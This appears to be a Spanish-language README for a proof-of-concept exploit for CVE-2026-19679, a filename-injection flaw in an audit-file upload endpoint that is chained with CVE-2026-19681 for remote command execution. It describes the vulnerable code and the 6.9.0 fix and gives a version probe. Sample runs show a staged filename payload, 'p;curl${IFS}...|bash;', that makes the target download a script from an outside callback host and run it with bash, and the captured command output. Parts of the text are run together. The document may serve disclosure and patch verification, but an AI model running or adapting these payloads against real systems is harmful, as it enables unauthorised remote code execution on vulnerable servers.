
Exploit de prueba de concepto para CVE-2026-19679, una vulnerabilidad de saneamiento insuficiente de nombres de archivo en la carga de archivos de auditoría que conduce a inyección de comandos. Incluye sonda de versión diferencial y modo exec para ejecución remota de comandos.

Estado: CONFIRMADO en un laboratorio 6.7.2-14.el9 (2026-08-20). POST /rest/auditFile con tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" devolvió HTTP 200 y registró AuditFile #1000002: el nombre de archivo con metacaracteres de shell superó la validación y se almacenó de principio a fin. En 6.9.0 la misma solicitud se rechaza con "Invalid tailoring filename."
Los parámetros de carga del archivo de auditoría (filename, tailoringFilename, tailoringOriginalFilename) se validan con (), que solo comprueba tres cosas: que no esté vacío, que no contenga (igualdad con ) y que el archivo temporal exista. : , , las comillas invertidas, y los espacios pasan sin modificarse.
PARAM_FILENAMEUtility::validateParams()/basename();$()${IFS}Esos nombres llegan entonces a:
rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") — AuditFileLib.php:2307 (se crea un archivo con metacaracteres arbitrarios en su nombre)exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc") donde $tmpZipFile, sin escapar, deriva del parámetro filename del cliente — la inyección de comandos posterior de CVE-2026-19681.Límite verificado en laboratorio: el path traversal no forma parte de la falla anterior a 6.9 — ambos parámetros de tailoring rechazan / (error 146 Invalid syntax for attribute ... con un payload ../). Lo que falta es exactamente el filtro de charset, que es lo que el texto del CVE quiere decir con "podría contribuir a una inyección de comandos posterior".
AuditFiles::applySCAPTailoringFile():
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);
además de basename() en ambos nombres y escapeshellarg() en los operandos del zip.
Sonda diferencial entre versiones: una sola solicitud, resultados opuestos según la versión:
./poc.py --target https://sc.lab --username analyst --password 'pass'
"Invalid tailoring filename." inmediatoNotas operativas (todas verificadas en laboratorio):
/rest/file/upload (multipart Filedata, campo de formulario context)context=auditFile se ejecuta la detección de contenido del zip (error 107 con un zip de prueba)type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName19679 es la brecha de validación; 19681 es el sumidero de ejecución. El mismo flujo de carga ejercita ambos: 19681 introduce metacaracteres en el filename temporal (a través del prefijo context de la carga) y los dispara mediante $tmpZipFile sin escapar; 19679 demuestra que los parámetros hermanos aceptan la misma clase de caracteres hasta (y dentro de) la misma cadena de comando. 6.9.0 corrige ambos lados en una misma área de commit: charset + basename + escapeshellarg.
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux